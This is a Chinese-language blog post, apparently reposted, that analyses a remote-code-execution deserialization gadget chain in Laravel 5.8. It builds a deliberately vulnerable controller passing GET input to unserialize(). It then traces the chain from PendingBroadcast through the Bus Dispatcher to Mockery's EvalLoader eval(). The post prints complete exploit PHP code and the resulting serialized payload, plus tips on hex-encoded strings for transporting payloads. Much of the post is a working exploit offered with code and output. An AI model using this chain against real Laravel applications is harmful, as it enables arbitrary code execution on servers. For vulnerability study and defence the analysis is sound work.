Laravel 5.8 RCE 分析
原帖地址 : https://xz.aliyun.com/t/6059
Laravel 代码审计
环境搭建
composer create-project --prefer-dist laravel/laravel laravel58
安装 Laravel 5.8 并生成laravel58
项目进入项目文件夹,使用
php artisan serve
启动 web 服务在
laravel58/routes/web.php
文件添加路由Route::get("/","\App\Http\Controllers\DemoController@demo");
在
laravel58/app/Http/Controllers/
下添加DemoController.php
控制器<?php
namespace App\Http\Controllers; class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}
漏洞分析
ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61
从
Illuminate\Broadcasting\PendingBroadcast
类的__destruct
方法开始的 pop 链Illuminate\Broadcasting\PendingBroadcast
中,$events
必须实现Dispatcher
接口,这里选择的是Illuminate\Bus\Dispatcher
public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
} public function __destruct()
{
$this->events->dispatch($this->event);
}
Illuminate\Bus\Dispatcher
中,调用dispatch
方法,进入if
判断,$this->queueResolver
是在实例化Illuminate\Bus\Dispatcher
时的一个参数,它必须有值,$command
也就是$this->event
必须实现ShouldQueue
接口,这里选择的就是Illuminate\Broadcasting\BroadcastEvent
// $command : $this->event
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
} return $this->dispatchNow($command);
} public function __construct(Container $container, Closure $queueResolver = null)
{
$this->container = $container;
$this->queueResolver = $queueResolver;
$this->pipeline = new Pipeline($container);
} protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
到这里,构造出的 exp :
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
}
?>
然后进入
dispatchToQueue
方法,存在call_user_func
方法,其中的$this->queueResolver
是可控的,这里利用的是Mockery\Loader\EvalLoader
的load
方法,即$this->queueResolver
为array(new Mockery\Loader\EvalLoader(), "load")
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection); if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
} if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
} return $this->pushCommandToQueue($queue, $command);
}
这个点的意思就是
$this->events
调用dispatch
传入参数$this->event
后- 访问
$this->events
的queueResolver
属性 - 调用
$this->events->commandShouldBeQueued($this->event)
方法 - 调用
dispatchToQueue
传入$this->event
参数。其中的$connection
为$this->event->connection
,即Illuminate\Broadcasting\BroadcastEvent
中的$connection
属性 call_user_func
将$connection
作为参数传给$this->queueResolver
返回的函数
到这里,构造出的 exp 如下,已经实现
call_user_func($this->queueResolver, $connection)
即call_user_func($evilFunc, $evilCode)
,接下来就要寻找一个可以利用的函数,这里选择的是Mockery\Loader\EvalLoader
,继续跟进<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
} class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = $evilCode;
}
}
} namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = $evilFunc;
}
}
}
Mockery\Loader\EvalLoader
中有一个eval
函数可以利用,这里的$definition
是MockDefinition
类的实例化对象,也就说明$this->event->connection
是MockDefinition
类的实例化对象。接下来就是绕过if
判断。class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
} eval("?>" . $definition->getCode());
}
}
跟进
Mockery\Generator\MockDefinition
,如果要绕过if
判断,必须让getClassName
返回一个不存在的类名,即$this->config->getName()
返回一个不存在的类名。$config
为Mockery\Generator\MockConfiguration
的实例化对象class MockDefinition
{
protected $config;
protected $code; public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
} public function getConfig()
{
return $this->config;
} public function getClassName()
{
return $this->config->getName();
} public function getCode()
{
return $this->code;
}
}
Mockery\Generator\MockConfiguration
中,让getName()
返回一个不存在的类名,最终执行eval("?>" . $definition->getCode());
实现 RCEclass MockConfiguration
{
protected $name; public function getName()
{
return $this->name;
}
}
最终的 exp ,(ph 牛的 exp ) :
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
} class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = new \Mockery\Generator\MockDefinition($evilCode);
}
}
} namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}
} namespace Mockery\Loader {
class EvalLoader {}
}
namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;
function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}
class MockConfiguration {
protected $name = 'abcdefg';
}
} namespace {
$code = "<?php phpinfo(); exit; ?>";
$exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
echo serialize($exp);
}
?>
构造输出结果 :
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}
一些思考
危险函数的寻找
eval,call_user_func
phpstorm + xdebug 调试代码
PHP 序列化的时候 private 和 protected 变量会引入不可见字符
\x00
,\00Test\00y
为 private,\00*\00
为 protected,注意这两个\x00
就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到,甚至导致截断,url 编码后就可以看得很清楚了。此时,为了更加方便进行反序列化 payload 的传输与显示,我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示。<?php
class Test
{
public $x="peri0d";
private $y="peri0d";
protected $z="peri0d";
} $k = new Test(); echo serialize($k); // O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}
?>
反序列化测试代码 :
<?php
// 环境 : php 7.1.13 nts
class Test
{
public $x="peri0d";
private $y="peri0d";
protected $z="peri0d";
} $n = new Test();
var_dump(serialize($n));
var_dump(unserialize(serialize($n))); // 成功 $k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}';
var_dump(unserialize($k)); // 成功 $m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"\00Test\00y";s:6:"peri0d";s:4:"\00*\00z";s:6:"peri0d";}';
var_dump(unserialize($m)); // 失败 $l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
var_dump(unserialize($l)); // 失败
?>
参考链接
最新文章
- java基础1_标识符,数据类型
- How do I enable log4net internal debugging?
- ASP.NET 问题集锦
- 20145208 《Java程序设计》第10周学习总结
- js 抽奖转盘实现
- 在VS2012中GridView的一个坑
- YIi 权限管理和基于角色的访问控制
- 2016022603 - redis数据类型
- codeforces Minesweeper 1D
- 【Linux探索之旅】第二部分第三课:文件和目录,组织不会亏待你
- 给指针malloc分配空间后就等于数组吗?【转】
- NotificationSetUtilDemo【判断APP通知栏权限是否开启,以及如何跳转到应用程序设置界面】
- ubuntu(版本14.04)部署Core环境
- Kubernetes — 从0到1:搭建一个完整的Kubernetes集群
- tesseract 4.0 ocr图像识别利器,可识别文字。图片越高清越准确
- angular--获取时间方法services
- MySQL错误[ERR] 1064 - You have an error in your SQL syntax;
- 解决SMARTFORMS文本编辑器不能打开
- Mybatis源码分析之Cache二级缓存原理 (五)
- C3P0连接池使用教程
热门文章
- 成为视频分析专家:自动生成视频集锦(Python实现)
- 类加载机制之ClassLoader
- 牛客挑战赛38 (A - D)
- 关于visocode 自动保存时自动添加分号问题
- Python——NumPy库入门
- phpwind 安装下一步空白解决方案
- Java并发基础04. 线程技术之死锁问题
- 无法加载文件 C:\Users\Administrator\AppData\Roaming\npm\vue.ps1,因为在此系统&#183;&#183;&#183;&#183;&#183;&#183;&#183;&#183;&#183;&#183;
- Shell:Day07.笔记
- Hadoop(八):YARN框架简介